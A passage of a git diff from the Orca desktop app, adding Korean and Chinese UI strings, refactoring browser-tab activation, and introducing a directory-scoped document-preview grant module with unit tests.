+          "unavailable": "해당 호스트는 아직 새 자동화를 보유할 수 없습니다. 이 자동화를 만들 다른 호스트를 선택하세요.",
+          "stale": "이 양식이 열려 있는 동안 {host}이(가) 변경되었습니다. 저장하기 전에 다시 선택하세요.",
+          "projectMismatch": "해당 프로젝트는 {host}에 없습니다. 그 호스트의 프로젝트를 선택하거나 다른 호스트를 선택하세요.",
+          "noProjects": "{host}에 설정된 프로젝트가 없습니다. 거기에 추가하거나 다른 호스트를 선택하세요.",
+          "updateRequired": "{hosts}의 Orca 서버를 업데이트하면 거기에 자동화를 저장할 수 있습니다.",
+          "move": "저장하면 이 자동화가 {host}에 생성되고 원본과 실행 기록은 삭제됩니다."
         }
       },
       "agent": {
@@ -14469,6 +14475,13 @@
           "deleteDescription": "“{{name}}”은(는) 공개 링크에서 더 이상 사용할 수 없습니다.",
           "delete": "삭제"
         }
+      },
+      "ComposerParentWorktreePicker": {
+        "label": "상위 워크트리",
+        "noParent": "상위 워크트리 없음",
+        "description": "이 워크스페이스를 사이드바의 다른 워크스페이스 아래에 중첩합니다. 기준 브랜치는 변경되지 않습니다.",
+        "searchPlaceholder": "워크스페이스 검색...",
+        "noMatches": "일치하는 항목이 없습니다."
       }
     },
     "i18n": {
@@ -14665,6 +14678,23 @@
     },
     "workspace": {
       "cleanup": {
+        "browse": {
+          "selectionWithheldOne": "선택한 워크스페이스 1개가 현재 필터에 의해 숨겨져 선택이 해제되었습니다.",
+          "selectionWithheld": "선택한 워크스페이스 {{value0}}개가 현재 필터에 의해 숨겨져 선택이 해제되었습니다.",
+          "selectAllCountOne": "안전 검사를 통과한 워크스페이스 1개 선택",
+          "selectAllCount": "안전 검사를 통과한 워크스페이스 {{value0}}개 모두 선택"
+        },
+        "scan": {
+          "readyOne": "워크스페이스 1개를 찾았습니다.",
+          "readyMany": "워크스페이스 {{value0}}개를 찾았습니다."
+        },
+        "presentationFixtures": {
+          "reviewAlphaCleanup": "알파 정리 검토"
+        },
+        "presentation": {
+          "gitlabMergeRequestNumber": "MR #{{value0}}",
+          "githubPullRequestNumber": "PR #{{value0}}"
+        },
         "browse": {
           "gitStatusCheckFailed": "Git 상태 확인 실패",
           "gitStatusUnverified": "Git 상태를 확인할 수 없음",
@@ -14717,17 +14747,6 @@
               "retainedAgents": "완료된 에이전트"
             }
           }
-        },
-        "scan": {
-          "readyOne": "워크스페이스 1개를 찾았습니다.",
-          "readyMany": "워크스페이스 {{value0}}개를 찾았습니다."
-        },
-        "presentationFixtures": {
-          "reviewAlphaCleanup": "알파 정리 검토"
-        },
-        "presentation": {
-          "gitlabMergeRequestNumber": "MR #{{value0}}",
-          "githubPullRequestNumber": "PR #{{value0}}"
         }
       }
     },
diff --git a/src/renderer/src/i18n/locales/zh.json b/src/renderer/src/i18n/locales/zh.json
index 12ca4f311be..8d4304abf23 100644
--- a/src/renderer/src/i18n/locales/zh.json
+++ b/src/renderer/src/i18n/locales/zh.json
@@ -266,7 +266,10 @@
           "3b57982bf6": "删除工作区\"{{value1}}\"后，Git 无法安全删除分支\"{{value0}}\"，因此 Orca 将其保留以避免丢失本地提交。",
           "81f13f48d2": "删除工作树\"{{value1}}\"后，Git 无法安全删除分支\"{{value0}}\"，因此 Orca 将其保留以避免丢失本地提交。",
           "runtimeScopeForbiddenTitle": "此连接具有受限（移动端）访问权限",
-          "runtimeScopeForbiddenDescription": "移动端范围的配对无法使用工作区。请通过设置 → 远程 Orca 服务器 → 分享此 Orca 服务器中的浏览器访问链接重新连接。"
+          "runtimeScopeForbiddenDescription": "移动端范围的配对无法使用工作区。请通过设置 → 远程 Orca 服务器 → 分享此 Orca 服务器中的浏览器访问链接重新连接。",
+          "createdWithoutParentNesting": "已创建，但未嵌套在“{{value0}}”下",
+          "createdWithoutParentNestingUnnamed": "已创建，但未嵌套在所选父工作树下",
+          "createdWithoutParentNestingDetail": "父工作树已不可用。您可以从工作区菜单中重新设置。"
         },
         "repos": {
           "2975400634": "请更新 Orca 服务器，以便在此运行时打开非 Git 文件夹。",
@@ -3918,9 +3921,7 @@
           "searchLinks": "搜索链接",
           "deleteSkills": "删除技能…"
         },
-        "SkillShareSelectionControls": {
-          "01c5a15e02": "共享技能"
-        },
+        "SkillShareSelectionControls": { "01c5a15e02": "共享技能" },
         "SkillRow": {
           "updatedUnknown": "无日期",
           "pathCopied": "路径已复制",
@@ -3930,17 +3931,13 @@
           "viewDetails": "查看详情",
           "deleteSkill": "删除…"
         },
-        "SkillsList": {
-          "listLabel": "技能"
-        },
+        "SkillsList": { "listLabel": "技能" },
         "sourceStatus": {
           "missing": "未找到文件夹",
           "remoteRepo": "远程仓库 — 未扫描",
           "unavailable": "未扫描"
         },
-        "sources": {
-          "heading": "技能文件夹"
-        },
+        "sources": { "heading": "技能文件夹" },
         "sourceKind": {
           "home": "主目录",
           "workspace": "工作区",
@@ -3970,10 +3967,7 @@
           "deleteLinkOne": "{{count}} 个链接",
           "deleteLinkOther": "{{count}} 个链接"
         },
-        "filter": {
-          "allAgents": "所有 Agent",
-          "sharedAgent": "共享 (.agents)"
-        },
+        "filter": { "allAgents": "所有 Agent", "sharedAgent": "共享 (.agents)" },
         "SkillsSelectionHeader": {
           "exit": "退出选择",
           "exitTooltip": "退出选择 · Esc",
@@ -3982,11 +3976,7 @@
           "clear": "清除",
           "deleteTitle": "选择要删除的技能"
         },
-        "SkillDetailDialog": {
-          "agents": "Agent",
-          "updated": "已更新",
-          "copy": "复制"
-        },
+        "SkillDetailDialog": { "agents": "Agent", "updated": "已更新", "copy": "复制" },
         "SkillFreshnessNudge": {
           "titleOne": "已安装的 Orca 技能已过期",
           "titleMany": "{{value0}} 个已安装的 Orca 技能已过期",
@@ -10838,7 +10828,6 @@
             "a4e93c21d7": "当前分支：{{value0}}",
             "c7d4e2f801": "更改基引用：{{value0}}",
             "f3a1b8c204": "upstream",
-            "createPrIntentEmptyGeneratedBody": "生成的评审详情未包含描述。请重试创建 PR。",
             "createPrIntentGenerateDetailsFailed": "无法生成评审详情。请重试创建 PR。"
           },
           "SourceControlAgentActionDialog": {
@@ -13784,6 +13773,7 @@
           "showMore": "显示更多"
         },
         "AutomationDetail": {
+          "host": "主机",
           "007c8ad874": "提示词",
           "a1d52c2189": "使用范围",
           "449fc83bf7": "token",
@@ -13947,6 +13937,9 @@
           "b11170a008": "无法保存自动化。",
           "2a20596d6b": "自动化已保存。",
           "244727e655": "自动化已更新。",
+          "moved": "自动化已移动到 {host}。",
+          "moveOriginalKept": "已在 {host} 上创建，但无法删除原有自动化。请在原主机上删除它。",
+          "moveOriginalUnverified": "已在 {host} 上创建，但无法确认是否删除了原有自动化。重试前请检查原主机。",
           "77b81bc4ac": "Hermes 自动化创建。",
           "08efc3ae12": "Hermes 自动化已更新。",
           "e431bb85d4": "选择与此 Hermes 自动化位于同一主机上的工作区。",
@@ -14143,6 +14136,19 @@
           "filters": "筛选器",
           "clear": "清除筛选器",
           "removeFilter": "移除 {{value0}} 筛选器"
+        },
+        "createDestination": {
+          "label": "主机",
+          "placeholder": "选择主机",
+          "storedOn": "由 {authority} 存储和调度。",
+          "unselected": "选择存储和调度此自动化的主机。",
+          "orphan": "没有主机的自动化无法容纳新的自动化。请选择要在其上创建此自动化的主机。",
+          "unavailable": "该主机尚无法容纳新的自动化。请选择另一台主机来创建它。",
+          "stale": "此表单打开期间 {host} 已更改。保存前请重新选择。",
+          "projectMismatch": "该项目不在 {host} 上。请选择该主机上的项目，或选择另一台主机。",
+          "noProjects": "{host} 上未设置任何项目。请在该主机上添加一个，或选择另一台主机。",
+          "updateRequired": "更新 {hosts} 上的 Orca 服务器即可在其中存储自动化。",
+          "move": "保存后会在 {host} 上创建此自动化，并删除原有自动化及其运行历史。"
         }
       },
       "agent": {
@@ -14493,6 +14499,13 @@
           "deleteDescription": "“{{name}}” 将无法再通过其公共链接访问。",
           "delete": "删除"
         }
+      },
+      "ComposerParentWorktreePicker": {
+        "label": "父工作树",
+        "noParent": "无父工作树",
+        "description": "在侧边栏中将此工作区嵌套到另一个工作树下。不会更改基础分支。",
+        "searchPlaceholder": "搜索工作树...",
+        "noMatches": "无匹配项。"
       }
     },
     "i18n": {
@@ -14689,6 +14702,23 @@
     },
     "workspace": {
       "cleanup": {
+        "browse": {
+          "selectionWithheldOne": "当前筛选条件隐藏了 1 个已选工作区，已取消选择。",
+          "selectionWithheld": "当前筛选条件隐藏了 {{value0}} 个已选工作区，已取消选择。",
+          "selectAllCountOne": "选择 1 个通过安全检查的工作区",
+          "selectAllCount": "选择全部 {{value0}} 个通过安全检查的工作区"
+        },
+        "scan": {
+          "readyOne": "找到 1 个工作区。",
+          "readyMany": "找到 {{value0}} 个工作区。"
+        },
+        "presentationFixtures": {
+          "reviewAlphaCleanup": "评审 Alpha 清理"
+        },
+        "presentation": {
+          "gitlabMergeRequestNumber": "MR #{{value0}}",
+          "githubPullRequestNumber": "PR #{{value0}}"
+        },
         "browse": {
           "gitStatusCheckFailed": "Git 状态检查失败",
           "gitStatusUnverified": "无法验证 Git 状态",
@@ -14741,17 +14771,6 @@
               "retainedAgents": "已完成的代理"
             }
           }
-        },
-        "scan": {
-          "readyOne": "找到 1 个工作区。",
-          "readyMany": "找到 {{value0}} 个工作区。"
-        },
-        "presentationFixtures": {
-          "reviewAlphaCleanup": "评审 Alpha 清理"
-        },
-        "presentation": {
-          "gitlabMergeRequestNumber": "MR #{{value0}}",
-          "githubPullRequestNumber": "PR #{{value0}}"
         }
       }
     },
diff --git a/src/renderer/src/lib/browser-page-palette-activation.ts b/src/renderer/src/lib/browser-page-palette-activation.ts
index fff93933966..5ba04e6cd3e 100644
--- a/src/renderer/src/lib/browser-page-palette-activation.ts
+++ b/src/renderer/src/lib/browser-page-palette-activation.ts
@@ -1,4 +1,5 @@
 import { useAppStore } from '@/store'
+import { activateBrowserWorkspaceTab } from '@/lib/browser-workspace-tab-activation'
 import type { ExecutionHostId } from '../../../shared/execution-host'
 import { isBlankBrowserUrl } from './browser-palette-search'
 import { activateAndRevealWorktree } from './worktree-activation'
@@ -59,18 +60,16 @@ export function activateBrowserPagePaletteResult({
     return { status: 'failed', reason: 'missing-worktree' }
   }
 
-  const state = useAppStore.getState()
-  const matchingUnifiedTab = (state.unifiedTabsByWorktree[worktree.id] ?? []).find(
-    (candidate) => candidate.contentType === 'browser' && candidate.entityId === workspace.id
-  )
-  // Why: the pane renders whatever the group's active tab is, so without a unified
-  // tab the browser state would go active behind a tab that never shows the page.
-  if (!matchingUnifiedTab) {
+  // Why the failure and not a bare activation: without a unified tab the browser state would go
+  // active behind a tab that never shows the page.
+  if (
+    !activateBrowserWorkspaceTab({
+      worktreeId: worktree.id,
+      workspaceId: workspace.id,
+      pageId
+    })
+  ) {
     return { status: 'failed', reason: 'missing-tab' }
   }
-  state.focusGroup(worktree.id, matchingUnifiedTab.groupId)
-  state.activateTab(matchingUnifiedTab.id)
-  state.setActiveBrowserTab(workspace.id)
-  state.setActiveBrowserPage(workspace.id, pageId)
   return { status: 'activated', pageId, focusTarget }
 }
diff --git a/src/renderer/src/lib/browser-workspace-tab-activation.ts b/src/renderer/src/lib/browser-workspace-tab-activation.ts
new file mode 100644
index 00000000000..f37780ed741
--- /dev/null
+++ b/src/renderer/src/lib/browser-workspace-tab-activation.ts
@@ -0,0 +1,30 @@
+import { useAppStore } from '@/store'
+
+/**
+ * Bring a browser workspace forward as the surface the reader is in.
+ *
+ * Why the unified tab and not just the browser state: the pane renders whatever its group's active
+ * tab is, so selecting the workspace alone leaves the page live behind a tab that never shows it.
+ * Returns false when the workspace has no unified tab yet, which is the caller's cue that there is
+ * nothing to bring forward.
+ */
+export function activateBrowserWorkspaceTab(params: {
+  worktreeId: string
+  workspaceId: string
+  pageId?: string
+}): boolean {
+  const state = useAppStore.getState()
+  const unifiedTab = (state.unifiedTabsByWorktree[params.worktreeId] ?? []).find(
+    (candidate) => candidate.contentType === 'browser' && candidate.entityId === params.workspaceId
+  )
+  if (!unifiedTab) {
+    return false
+  }
+  state.focusGroup(params.worktreeId, unifiedTab.groupId)
+  state.activateTab(unifiedTab.id)
+  state.setActiveBrowserTab(params.workspaceId)
+  if (params.pageId) {
+    state.setActiveBrowserPage(params.workspaceId, params.pageId)
+  }
+  return true
+}
diff --git a/src/renderer/src/lib/doc-preview-grants.test.ts b/src/renderer/src/lib/doc-preview-grants.test.ts
new file mode 100644
index 00000000000..c7afa8c77b7
--- /dev/null
+++ b/src/renderer/src/lib/doc-preview-grants.test.ts
@@ -0,0 +1,174 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const mocks = vi.hoisted(() => ({
+  connectionId: null as string | null | undefined,
+  environmentId: null as string | null,
+  mintGrant: vi.fn(),
+  revokeGrant: vi.fn()
+}))
+
+vi.mock('@/lib/connection-owner-resolution', () => ({
+  getConnectionIdForFileFromState: () => mocks.connectionId
+}))
+vi.mock('@/lib/worktree-runtime-owner', () => ({
+  getRuntimeEnvironmentIdForWorktree: () => mocks.environmentId
+}))
+
+import {
+  buildDocPreviewGrantRequest,
+  ensureDocPreviewGrant,
+  releaseDocPreviewGrant
+} from './doc-preview-grants'
+
+const state = { getKnownWorktreeById: () => ({ id: 'wt-1', path: '/srv/repo' }) } as never
+
+beforeEach(() => {
+  vi.clearAllMocks()
+  mocks.connectionId = null
+  mocks.environmentId = null
+  mocks.mintGrant.mockResolvedValue({ grantId: 'grant-1', url: 'orca-preview://grant-1/a.html' })
+  vi.stubGlobal('window', {
+    api: { docPreview: { mintGrant: mocks.mintGrant, revokeGrant: mocks.revokeGrant } }
+  })
+})
+
+describe('buildDocPreviewGrantRequest', () => {
+  // A document outside every workspace resolves and authorizes from its own directory.
+  it('roots an SSH grant outside the workspace at the document directory', () => {
+    mocks.connectionId = 'ssh-1'
+
+    expect(buildDocPreviewGrantRequest(state, 'wt-1', '/home/alice/docs/report.html')).toEqual({
+      owner: { kind: 'ssh', connectionId: 'ssh-1' },
+      requestBase: '/home/alice/docs',
+      root: '/home/alice/docs',
+      entryRelativePath: 'report.html'
+    })
+  })
+
+  it('resolves from the workspace but authorizes only the document directory', () => {
+    mocks.connectionId = 'ssh-1'
+
+    expect(buildDocPreviewGrantRequest(state, 'wt-1', '/srv/repo/docs/report.html')).toEqual({
+      owner: { kind: 'ssh', connectionId: 'ssh-1' },
+      requestBase: '/srv/repo',
+      root: '/srv/repo/docs',
+      entryRelativePath: 'docs/report.html'
+    })
+  })
+
+  it('carries the worktree selector and root for a paired runtime grant', () => {
+    mocks.environmentId = 'env-1'
+
+    expect(buildDocPreviewGrantRequest(state, 'wt-1', '/srv/repo/docs/report.html')).toEqual({
+      owner: {
+        kind: 'runtime',
+        environmentId: 'env-1',
+        worktreeSelector: 'id:wt-1',
+        worktreeRoot: '/srv/repo'
+      },
+      requestBase: '/srv/repo',
+      root: '/srv/repo/docs',
+      entryRelativePath: 'docs/report.html'
+    })
+  })
+
+  // Why: files.read is worktree-scoped, so a paired document outside it has no readable root.
+  it('refuses a paired document outside the workspace', () => {
+    mocks.environmentId = 'env-1'
+
+    expect(buildDocPreviewGrantRequest(state, 'wt-1', '/var/tmp/report.html')).toBeNull()
+  })
+
+  it('refuses a local workspace, which has no remote channel to read over', () => {
+    expect(buildDocPreviewGrantRequest(state, 'wt-1', '/tmp/report.html')).toBeNull()
+  })
+})
+
+describe('doc preview grant lifetime', () => {
+  it('mints once for repeated mounts of the same preview tab', async () => {
+    const request = {
+      owner: { kind: 'ssh' as const, connectionId: 'ssh-1' },
+      requestBase: '/d',
+      root: '/d',
+      entryRelativePath: 'a.html'
+    }
+
+    const [first, second] = await Promise.all([
+      ensureDocPreviewGrant('preview-1', request),
+      ensureDocPreviewGrant('preview-1', request)
+    ])
+
+    // Why: React StrictMode double-invokes mount effects in dev; a second mint would
+    // strand the first grant and a mount-scoped revoke would kill the live webview.
+    expect(mocks.mintGrant).toHaveBeenCalledOnce()
+    expect(first).toBe(second)
+    expect(mocks.revokeGrant).not.toHaveBeenCalled()
+  })
+
+  it('revokes on release and mints fresh afterwards', async () => {
+    const request = {
+      owner: { kind: 'ssh' as const, connectionId: 'ssh-1' },
+      requestBase: '/d',
+      root: '/d',
+      entryRelativePath: 'a.html'
+    }
+    await ensureDocPreviewGrant('preview-2', request)
+
+    releaseDocPreviewGrant('preview-2')
+    await vi.waitFor(() => expect(mocks.revokeGrant).toHaveBeenCalledWith('grant-1'))
+
+    await ensureDocPreviewGrant('preview-2', request)
+    expect(mocks.mintGrant).toHaveBeenCalledTimes(2)
+  })
+
+  it('ignores a release for a tab that never minted a grant', () => {
+    releaseDocPreviewGrant('never-opened')
+
+    expect(mocks.revokeGrant).not.toHaveBeenCalled()
+  })
+
+  // Why: a mint that rejects after the tab was released and reopened must not evict the entry the
+  // reopen created, or that grant can never be revoked from the tab that owns it.
+  it('leaves the entry of a later mint alone when an earlier one rejects', async () => {
+    const request = {
+      owner: { kind: 'ssh' as const, connectionId: 'ssh-1' },
+      requestBase: '/d',
+      root: '/d',
+      entryRelativePath: 'a.html'
+    }
+    let failStaleMint: (error: Error) => void = () => {}
+    mocks.mintGrant.mockReturnValueOnce(
+      new Promise((_resolve, reject) => {
+        failStaleMint = reject
+      })
+    )
+    mocks.mintGrant.mockResolvedValueOnce({
+      grantId: 'grant-2',
+      url: 'orca-preview://grant-2/a.html'
+    })
+
+    const stale = ensureDocPreviewGrant('preview-4', request)
+    releaseDocPreviewGrant('preview-4')
+    await ensureDocPreviewGrant('preview-4', request)
+    failStaleMint(new Error('runtime offline'))
+    await expect(stale).rejects.toThrow('runtime offline')
+
+    releaseDocPreviewGrant('preview-4')
+    await vi.waitFor(() => expect(mocks.revokeGrant).toHaveBeenCalledWith('grant-2'))
+  })
+
+  it('does not cache a failed mint', async () => {
+    mocks.mintGrant.mockRejectedValueOnce(new Error('runtime offline'))
+    const request = {
+      owner: { kind: 'ssh' as const, connectionId: 'ssh-1' },
+      requestBase: '/d',
+      root: '/d',
+      entryRelativePath: 'a.html'
+    }
+
+    await expect(ensureDocPreviewGrant('preview-3', request)).rejects.toThrow('runtime offline')
+    await expect(ensureDocPreviewGrant('preview-3', request)).resolves.toMatchObject({
+      grantId: 'grant-1'
+    })
+  })
+})
diff --git a/src/renderer/src/lib/doc-preview-grants.ts b/src/renderer/src/lib/doc-preview-grants.ts
new file mode 100644
index 00000000000..5e2af9a7167
--- /dev/null
+++ b/src/renderer/src/lib/doc-preview-grants.ts
@@ -0,0 +1,86 @@
+import type { DocPreviewGrantRequest } from '../../../preload/api/doc-preview-api'
+import { basename, dirname, getRelativePathInsideRoot } from '@/lib/path'
+import { getConnectionIdForFileFromState } from '@/lib/connection-owner-resolution'
+import { getRuntimeEnvironmentIdForWorktree } from '@/lib/worktree-runtime-owner'
+import { toRuntimeWorktreeSelector } from '@/runtime/runtime-worktree-selector'
+import type { AppState } from '@/store/types'
+
+export type DocPreviewGrantHandle = { grantId: string; url: string }
+
+/**
+ * Grants are keyed by preview tab id, never by effect mount: React StrictMode
+ * double-invokes mount effects in dev, and a mount-scoped grant would be revoked
+ * out from under the surviving webview. Release is driven by tab close instead.
+ */
+const grantsByPreviewId = new Map<string, Promise<DocPreviewGrantHandle>>()
+
+/** The page is filled in by `ensureDocPreviewGrant`, so the grant and its key name one surface. */
+export type DocPreviewGrantLocation = Omit<DocPreviewGrantRequest, 'browserPageId'>
+
+export function buildDocPreviewGrantRequest(
+  state: AppState,
+  worktreeId: string,
+  filePath: string
+): DocPreviewGrantLocation | null {
+  const worktreeRoot = state.getKnownWorktreeById(worktreeId)?.path ?? null
+  const worktreeRelativePath = getRelativePathInsideRoot(filePath, worktreeRoot)
+  const root = dirname(filePath)
+  const requestBase = worktreeRoot && worktreeRelativePath ? worktreeRoot : root
+  const entryRelativePath = worktreeRelativePath ?? basename(filePath)
+  if (!requestBase || !root || !entryRelativePath) {
+    return null
+  }
+  const connectionId = getConnectionIdForFileFromState(state, worktreeId, filePath)
+  if (connectionId) {
+    // Outside a workspace there is no broader request base: the document directory bounds
+    // resolution, and main starts such a grant at the entry file alone — an out-of-workspace
+    // directory is often a home directory, which is where secrets live.
+    return { owner: { kind: 'ssh', connectionId }, requestBase, root, entryRelativePath }
+  }
+  const environmentId = getRuntimeEnvironmentIdForWorktree(state, worktreeId)
+  if (!environmentId || !worktreeRoot || !worktreeRelativePath) {
+    return null
+  }
+  return {
+    owner: {
+      kind: 'runtime',
+      environmentId,
+      worktreeSelector: toRuntimeWorktreeSelector(worktreeId),
+      worktreeRoot
+    },
+    requestBase,
+    root,
+    entryRelativePath
+  }
+}
+
+export function ensureDocPreviewGrant(
+  previewId: string,
+  location: DocPreviewGrantLocation
+): Promise<DocPreviewGrantHandle> {
+  const existing = grantsByPreviewId.get(previewId)
+  if (existing) {
+    return existing
+  }
+  const pending: Promise<DocPreviewGrantHandle> = window.api.docPreview
+    .mintGrant({ ...location, browserPageId: previewId })
+    .catch((error: unknown) => {
+      // Why the identity check: a release and a fresh ensure can both land before this rejects, and
+      // an unconditional delete would evict the newer entry, leaving its grant unrevokable.
+      if (grantsByPreviewId.get(previewId) === pending) {
+        grantsByPreviewId.delete(previewId)
+      }
+      throw error
+    })
+  grantsByPreviewId.set(previewId, pending)
+  return pending
+}
+
+export function releaseDocPreviewGrant(previewId: string): void {
+  const pending = grantsByPreviewId.get(previewId)
+  if (!pending) {
+    return
+  }
+  grantsByPreviewId.delete(previewId)
+  void pending.then((handle) => window.api.docPreview.revokeGrant(handle.grantId)).catch(() => {})
+}
diff --git a/src/renderer/src/lib/execution-host-display-label.ts b/src/renderer/src/lib/execution-host-display-label.ts
new file mode 100644
index 00000000000..0ce4fc5bb20
--- /dev/null
+++ b/src/renderer/src/lib/execution-host-display-label.ts
@@ -0,0 +1,61 @@
+import {
+  getExecutionHostLabel,
+  parseExecutionHostId,
+  type ExecutionHostId
+} from '../../../shared/execution-host'
+import { getHostSettingOverride } from '../../../shared/host-setting-overrides'
+import {
+  getExecutionHostIdForWorktree,
+  getExplicitRuntimeEnvironmentIdForWorktree
+} from '@/lib/worktree-runtime-owner'
+import { selectRuntimeAwareSshTargetLabel } from '@/store/slices/runtime-environment-ssh-selectors'
+import type { AppState } from '@/store/types'
+
+/**
+ * What to call an execution host in front of a user: their own rename first, then the machine's
+ * published name (paired runtime) or the SSH target's label, and the raw id only as a last resort.
+ */
+export function selectExecutionHostDisplayLabel(
+  state: AppState,
+  hostId: ExecutionHostId,
+  // SSH labels are published per runtime environment when the target is reached through one.
+  options: { sshEnvironmentId?: string | null } = {}
+): string {
+  const override = getHostSettingOverride(state.settings, hostId, 'displayLabel')
+  if (override) {
+    return override
+  }
+  const parsed = parseExecutionHostId(hostId)
+  if (parsed?.kind === 'runtime') {
+    const name = state.runtimeEnvironments
+      ?.find((environment) => environment.id === parsed.environmentId)
+      ?.name.trim()
+    if (name) {
+      return name
+    }
+  }
+  if (parsed?.kind === 'ssh') {
+    return selectRuntimeAwareSshTargetLabel(
+      state,
+      options.sshEnvironmentId ?? null,
+      parsed.targetId
+    )
+  }
+  return getExecutionHostLabel(hostId)
+}
+
+/**
+ * The machine a worktree's files live on, or null when ownership is still contested — the
+ * `unresolved-owner` sentinel is routing bookkeeping and must never reach a reader as a host name.
+ */
+export function selectWorktreeHostDisplayLabel(state: AppState, worktreeId: string): string | null {
+  const hostId = getExecutionHostIdForWorktree(state, worktreeId)
+  const parsed = parseExecutionHostId(hostId)
+  if (parsed?.kind === 'runtime' && parsed.environmentId === 'unresolved-owner') {
+    return null
+  }
+  return selectExecutionHostDisplayLabel(state, hostId, {
+    sshEnvironmentId:
+      parsed?.kind === 'ssh' ? getExplicitRuntimeEnvironmentIdForWorktree(state, worktreeId) : null
+  })
+}
diff --git a/src/renderer/src/lib/file-preview-action-visibility.test.tsx b/src/renderer/src/lib/file-preview-action-visibility.test.tsx
new file mode 100644
index 00000000000..89a6e7da23b
--- /dev/null
+++ b/src/renderer/src/lib/file-preview-action-visibility.test.tsx
@@ -0,0 +1,85 @@
+// @vitest-environment happy-dom
+//
+// The Explorer row decides whether to show the preview action with the hook, and activating it
+// runs the plan. The hook used to re-derive that answer from its own copy of the rules; it now
+// delegates, and these pin the two to one answer so a future rule change cannot split them.
+import { renderHook } from '@testing-library/react'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const mocks = vi.hoisted(() => ({
+  browserAvailability: { state: 'enabled', provider: 'local-client' } as
+    | { state: 'enabled'; provider: 'local-client' | 'paired-runtime' }
+    | { state: 'hidden'; reason: string },
+  environmentId: null as string | null
+}))
+
+vi.mock('sonner', () => ({ toast: { error: vi.fn() } }))
+vi.mock('@/lib/client-creation-action-policy', () => ({
+  getClientCreationActionPolicy: () => ({ 'managed-browser': mocks.browserAvailability })
+}))
+vi.mock('@/lib/worktree-runtime-owner', () => ({
+  getRuntimeEnvironmentIdForWorktree: () => mocks.environmentId
+}))
+
+const storeState = {
+  getKnownWorktreeById: () => ({ id: 'wt-1', path: '/repo' }),
+  repos: [{ id: 'repo-1', connectionId: null }],
+  worktreesByRepo: { 'repo-1': [{ id: 'wt-1', repoId: 'repo-1' }] }
+}
+
+vi.mock('@/store', () => ({
+  useAppStore: Object.assign((selector: (state: unknown) => unknown) => selector(storeState), {
+    getState: () => storeState
+  })
+}))
+
+import {
+  canShowWorkspaceFileBrowserAction,
+  useWorkspaceFileBrowserActionPredicate
+} from './file-preview'
+
+const FILE_PATH = '/repo/report.html'
+
+function predicateAnswer(): boolean {
+  return renderHook(() => useWorkspaceFileBrowserActionPredicate('wt-1')).result.current(FILE_PATH)
+}
+
+beforeEach(() => {
+  mocks.browserAvailability = { state: 'enabled', provider: 'local-client' }
+  mocks.environmentId = null
+})
+
+describe('workspace file browser action visibility', () => {
+  it('agrees with the plan for a local workspace that can open a browser', () => {
+    expect(predicateAnswer()).toBe(
+      canShowWorkspaceFileBrowserAction(storeState as never, 'wt-1', FILE_PATH)
+    )
+    expect(predicateAnswer()).toBe(true)
+  })
+
+  it('hides the action when the local workspace has no managed browser', () => {
+    mocks.browserAvailability = { state: 'hidden', reason: 'browser unavailable' }
+
+    expect(canShowWorkspaceFileBrowserAction(storeState as never, 'wt-1', FILE_PATH)).toBe(false)
+    expect(predicateAnswer()).toBe(false)
+  })
+
+  it('agrees with the plan on a paired workspace with no managed browser', () => {
+    mocks.environmentId = 'env-1'
+    mocks.browserAvailability = { state: 'hidden', reason: 'browser unavailable' }
+
+    expect(predicateAnswer()).toBe(
+      canShowWorkspaceFileBrowserAction(storeState as never, 'wt-1', FILE_PATH)
+    )
+    expect(predicateAnswer()).toBe(true)
+  })
+
+  it('keeps a stable predicate identity across re-renders of the same workspace', () => {
+    const { result, rerender } = renderHook(() => useWorkspaceFileBrowserActionPredicate('wt-1'))
+    const first = result.current
+
+    rerender()
+
+    expect(result.current).toBe(first)
+  })
+})
diff --git a/src/renderer/src/lib/file-preview-capability-cleanup.test.ts b/src/renderer/src/lib/file-preview-capability-cleanup.test.ts
deleted file mode 100644
index 1136dd16985..00000000000
--- a/src/renderer/src/lib/file-preview-capability-cleanup.test.ts
+++ /dev/null
@@ -1,91 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { openFilePreviewToSide } from './file-preview'
-
-const mocks = vi.hoisted(() => ({
-  availability: {
-    state: 'enabled' as const,
-    provider: 'paired-runtime' as const
-  } as { state: 'enabled'; provider: 'paired-runtime' } | { state: 'hidden'; reason: string },
-  closeEmptyGroup: vi.fn(),
-  createBrowserTab: vi.fn(),
-  createEmptySplitGroup: vi.fn(() => 'preview-group'),
-  createWebRuntimeSessionBrowserTab: vi.fn(),
-  toastError: vi.fn()
-}))
-
-vi.mock('sonner', () => ({ toast: { error: mocks.toastError } }))
-
-vi.mock('@/lib/client-creation-action-policy', () => ({
-  getClientCreationActionPolicy: () => ({ 'managed-browser': mocks.availability })
-}))
-
-vi.mock('@/lib/connection-context', () => ({
-  getConnectionId: () => null,
-  getConnectionIdForFile: () => null
-}))
-
-vi.mock('@/lib/connection-owner-resolution', () => ({
-  getConnectionIdForFileFromState: () => null
-}))
-
-vi.mock('@/lib/worktree-runtime-owner', () => ({
-  getRuntimeEnvironmentIdForWorktree: () => 'runtime-1'
-}))
-
-vi.mock('@/runtime/web-runtime-session', () => ({
-  createWebRuntimeSessionBrowserTab: mocks.createWebRuntimeSessionBrowserTab
-}))
-
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => ({
-      closeEmptyGroup: mocks.closeEmptyGroup,
-      createBrowserTab: mocks.createBrowserTab,
-      createEmptySplitGroup: mocks.createEmptySplitGroup,
-      groupsByWorktree: {},
-      layoutByWorktree: {},
-      repos: [{ id: 'repo-1', connectionId: null }],
-      worktreesByRepo: { 'repo-1': [{ id: 'wt-1', repoId: 'repo-1' }] }
-    })
-  }
-}))
-
-describe('paired HTML side-preview capability cleanup', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    mocks.availability = { state: 'enabled', provider: 'paired-runtime' }
-    mocks.createWebRuntimeSessionBrowserTab.mockRejectedValue(new Error('capability changed'))
-  })
-
-  it('reports capability loss after preflight and removes the new split', async () => {
-    openFilePreviewToSide({
-      language: 'html',
-      filePath: '/srv/repo/example.html',
-      worktreeId: 'wt-1',
-      sourceGroupId: 'source-group'
-    })
-
-    await vi.waitFor(() =>
-      expect(mocks.toastError).toHaveBeenCalledWith('Unable to open this file in Orca Browser.')
-    )
-    expect(mocks.closeEmptyGroup).not.toHaveBeenCalled()
-    expect(mocks.createBrowserTab).not.toHaveBeenCalled()
-  })
-
-  it('reports known unavailability without creating a split', () => {
-    mocks.availability = { state: 'hidden', reason: 'streaming unavailable' }
-
